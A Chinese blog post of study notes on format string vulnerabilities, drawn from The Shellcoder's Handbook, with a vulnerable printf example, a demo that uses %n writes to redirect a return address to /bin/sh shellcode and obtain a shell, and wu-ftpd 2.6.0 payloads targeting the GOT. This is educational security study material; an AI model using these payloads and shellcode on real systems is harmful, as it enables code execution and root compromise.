关闭

shellcode之四:格式化串漏洞

3125人阅读 评论(2) 收藏 举报
分类:

声明:主要内容来自《The Shellcoder's Handbook》,摘录重点作为笔记并加上个人的一些理解,如有错,请务必指出。


格式化串漏洞

 

当printf系列函数的格式化串里包含用户提交的数据时,有可能出现格式化串漏洞。攻击者可能提交许多格式化字符(但不提供对应的变量),这样栈上就没有和格式符相对于的参数,因此系统就会用栈上的其他数据代替这项参数,从而导致信息泄露和执行指定的代码。以下面的程序为例:

#include <stdio.h>  

int main(int argc, char *argv[])  
{  
	if (argc != 2) return 1;  
	printf(argv[1]);  
	printf("/n");  
	return 0;  
} 

sep@debian66:~/shellcode$ cc -o fmt fmt.c  
fmt.c:13:2: warning: no newline at end of file  
sep@debian66:~/shellcode$ ./fmt "%x %x %x %x"  
bfefb224 bfefb1a8 bfefb1b0 b7e66c8c  
sep@debian66:~/shellcode$ 

编译,运行,printf从栈上找来四个数据充数输出。这提供给我们一个可能性:攻击者可能利用它来获取栈上的数据,意味着对栈本身来说可能是敏感信息,如用户名、密码等。如果提交多个%x格式符,则可以获知更多的栈上数据。【疑问:我们知道这些数据来自栈上,但具体在栈的哪里?是当前ESP的位置吗?】


转换格式符:d、i、o、u、x用于整数,e、f、g、a用于浮点数,c用于字符,特别留意下面两个:

s--这个参数被视为指向字符串的指针,将以字符串的形式输出参数;

n--这个参数被视为指向整形(包括int、short、char等)的指针,在这个参数之前输出的字符的数量将被保存到这个参数指向的地址里。


%n格式符把它的参数作为内存地址,把前面输出的字符数量写到那个地址。这意味着我们有机会改写某个内存地址里的数据,从而控制程序的执行。如果满足下面条件,就可以利用格式化串漏洞执行任意代码:

1、我们能控制%n参数,并可以把输出的字符的数量写入内存的指定区域;

2、宽度格式符允许用任意长度(事实上最长可为255个字符)填充输出。因此,可以用字符串长度改写单个字节;

3、重复上面步骤4次的话,就能改写内存中的任意4B,也就是说,攻击者可以利用这个方法改写内存地址;

4、我们可以猜测函数指针的地址(保存的返回地址RET、二进制文件的导入表、c++ vatable等),因此我们可以促成系统把提交的字符串当成代码来执行。


我写了这样的一个程序,把shellcode的地址通过printf填到RET:

//file: fmt2.c
//cc -o fmt2 fmt2.c -mpreferred-stack-boundary=2

#include <stdio.h>

char shellcode[] = "/xeb/x1a/x5e/x31"
                   "/xc0/x88/x46/x07"
                   "/x8d/x1e/x89/x5e"
                   "/x08/x89/x46/x0c"
                   "/xb0/x0b/x89/xf3"
                   "/x8d/x4e/x08/x8d"
                   "/x56/x0c/xcd/x80"
                   "/xe8/xe1/xff/xff"
                   "/xff/x2f/x62/x69"
                   "/x6e/x2f/x73/x68";
                   
int main()
{
    int *ret;
    ret = (int *)&ret + 2;
    printf("%p/n", shellcode);
    
    printf("%0*d%n/n", (int)shellcode &0xff, 0, (char *)ret);
    printf("%0*d%n/n", ((int)shellcode>>8) &0xff, 0, (char *)ret+1);
    printf("%0*d%n/n", ((int)shellcode>>16)&0xff, 0, (char *)ret+2);
    printf("%0*d%n/n", ((int)shellcode>>24)&0xff, 0, (char *)ret+3);
}
注意printf("%0*d%n/n", (int)shellcode &0xff, 0, (char *)ret);语句,*号用于动态指定输出宽度,配合%n参数,就可以将shellcode的地址填到我们想要的内存地址中。编译运行:

sep@debian66:~/shellcode$ cc -o fmt2 fmt2.c -mpreferred-stack-boundary=2
sep@debian66:~/shellcode$ ./fmt2
0x8049680
00000000000000000000000000000000000000000000000000000000000000...0 <0x80个0>
00000000000000000000000000000000000000000000000000000000000000...0 <0x96个0>
0000
00000000
sh-3.1$
得到一个shell,证明fmt2退出后确实运行了shellcode,假设fmt2属主是root,并把suid打开,则派生shell也会继承root特权。

利用格式化串漏洞,书上以wu-ftpd 2.6.0为例展开阐述如何使得服务崩溃和获取内存中的数据。


控制程序的执行


书中仍然以wu-ftpd 2.6.0为例展开如何利用printf漏洞让程序执行我们的shellcode。过程还是相当复杂的,需要装redhat9.0 + wu-ftpd2.6.0来实践一次。

书中有个地方比较难以理解:

./dowu localhost $'/x41/x41/x41/x41%272$n' 1

如果用gdb跟踪wu-ftp的执行情况,你会看到进程正在试着把0x0000000a写入地址0x41414141。


对于“./dowu localhost $'/x41/x41/x41/x41%272$n' 1”,在wu-ftpd中会展为“site index $'/x41/x41/x41/x41%272$n'”语句。272$是利用site index弹出栈上的第272个值(这里在272处就是字符串本身的头4b,即/x41/x41/x41/x41,也就是AAAA)。系统会把弹出的AAAA(0x41414141)作为%n参数,另外字符串“/x41/x41/x41/x41%272$n”的长度是0xa,故printf将把0xa写入地址0x41414141中。理解这些,接下来的疑问不大,可利用填充字节增加字符串的长度,如./dowu localhost $'/x41/x41/x41/x41%50000x%272$n' 1将0xc35a(50000+10)写到地址0x41414141中。


0x41414141只是为了验证我们的想法而选择的地址。实际中应该选择一个有意义的地址,可以从多个目标中选择它:

1、保存的返回地址(栈溢出,用信息泄露的方法来确定返回地址的位置);

2、全局偏移表(GOT),动态重定位对函数;

3、析构函数表(DTORS);

4、C函数库钩子,例如malloc_hook、realloc_hook和free_hook;

5、atexit结构;

6、所有其他的函数指针,例如C++ vtables、回调函数等;

7、Windows里默认未处理的异常处理程序,它几乎总是在同一地址。


先来看下in.ftpd里的GOT:

objdump -R /usr/sbin/in.ftpd

...

0806d3b0 R_386_JUMP_SLOT printf

...


我们可以修改保存在0806d3b0里的地址来重定向程序的执行流程。利用格式化串修改保存在0806d3b0里的地址之后,wu-ftpd会希望执行到printf,从而执行指定的代码。接下来如何把shellcode上载到GOT的地址空间,详见原书P64。

针对wu-ftpd的这个漏洞,最流行的破解是wuftpd2600.c。


格式化串技术概述


格式化串参数:

1、可用%s从目标进程读取内存数据;

2、可用%n把输出字符串长度写入任意地址;

3、可用宽度修饰符修改输出的字符的数量;

4、可用%hn修饰符每次写入16位数值。


直接参数访问允许多次重用同一格式化串里的栈参数,也允许直接用那些我们感兴趣的参数。直接参数访问包括使用$修饰符,例如:

%272$x

将显示栈上的第272个参数。这是很重要的技巧。

0
0
查看评论
发表评论
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场

shellcode之四:格式化串漏洞

声明:主要内容来自《The Shellcoder's Handbook》,摘录重点作为笔记并加上个人的一些理解,如有错,请务必指出。 格式化串漏洞   当printf系列函数的格式化串里包含用户提交的数据时,有可能出现格式化串漏洞。攻击者可能提交许多格式化字符(但不提...
  • kingvon_liwei
  • kingvon_liwei
  • 2014-09-11 17:31
  • 243

浅析格式化串漏洞

作者:isno (isno@sina.com)                 -----------------目录---------...
  • u012905667
  • u012905667
  • 2015-07-21 17:50
  • 840

How printf works——浅谈格式化串漏洞

How printf works——浅谈格式化串漏洞0x00 简介格式化字符串漏洞由来已久,其主要原因是程序员在使用printf时未将格式化串的个数 和变量的个数相匹配,给了黑客们可乘之机。 我们可以先来看看printf函数的声明int printf (const char *__format,...
  • caterpillarous
  • caterpillarous
  • 2016-05-24 22:18
  • 889

格式化字符串漏洞简介

简介格式化字符串,也是一种比较常见的漏洞类型。
  • PrettyDay
  • PrettyDay
  • 2015-12-20 23:27
  • 4458

缓冲区溢出漏洞攻击——Shellcode编写

一、实验内容利用一个程序漏洞,编写shellcode,达成效果:蹦出对话框,显示“You have been hacked!(by JWM)”二、实验原理因为输入了过长的字符,而缓冲区本身又没有有效的验证机制,导致过长的字符覆盖了返回地址。如果覆盖的返回地址是一个有效地址,而在该地址处又有有效的指令...
  • pianogirl123
  • pianogirl123
  • 2016-12-19 20:53
  • 1243

CTF-ECHO-200格式化字符串漏洞+shellcode

很开心有成功做了一道格式化字符串,这题我也不清楚是哪次比赛上的,漏洞还是十分的明显,格式化加个shellcode直接搞定。就是这算的比较麻烦一点。 那么直接进入正题咯! 开干!! 首先拿checksec检查一遍(个人习惯哈) 可以看到,开了栈保护,但是NX disabled,说明堆栈可...
  • qq_33438733
  • qq_33438733
  • 2017-06-01 13:20
  • 378

《ODAY安全:软件漏洞分析技术》学习心得-----shellcode的一点小小的思考

I will Make Impossible To I'm possible                     -----------LittleHann   看了2个多星期。终于把0DAY这本书给看完了,自己动手将书上的实验一个一个实现的感觉很不错,在学习...
  • jayxujia123
  • jayxujia123
  • 2014-03-15 20:55
  • 2404

针对IIS6.0 WebDAV漏洞(cve-2017-7269)制作纯字符数字的shellcode回连msf

环境: Kali攻击机1 IP:192.168.114.140 Win7攻击机2 IP(安装gcc和python2.7):192.168.114.130 Windows server 2003目标主机(开启webdev服务):192.168.114.132   在攻击机1中的操作: 使用m...
  • MickeyMouse1928
  • MickeyMouse1928
  • 2017-05-04 11:54
  • 1286

格式化字符串漏洞利用 二、格式化函数

二、格式化函数格式化函数是一类特殊的 ANSI C 函数,接受可变数量的参数,其中的一个就是所谓的格式化字符串。当函数求解格式化字符串时,它会访问向函数提供的额外参数。它是一个转换函数,用于将原始的 C 数据类型表示为人类可读的字符串形式。它们在几乎任何 C 程序中都会使用,来输出信息、打印错误信息...
  • wizardforcel
  • wizardforcel
  • 2017-04-12 11:07
  • 908

某道Pwn(格式化字符串漏洞)

格式化字符串漏洞近几年出现频率少了,但是一些 CTF 中还有涉及,就当玩玩好了。首先看这一段代码,什么比赛的题我忘了:#include <stdio.h> int main(void) { int flag = 0; int *p = &flag; c...
  • wizardforcel
  • wizardforcel
  • 2017-03-18 14:14
  • 1086
    个人资料
    • 访问:557329次
    • 积分:5872
    • 等级:
    • 排名:第5094名
    • 原创:59篇
    • 转载:4篇
    • 译文:0篇
    • 评论:339条
    文章分类
    最新评论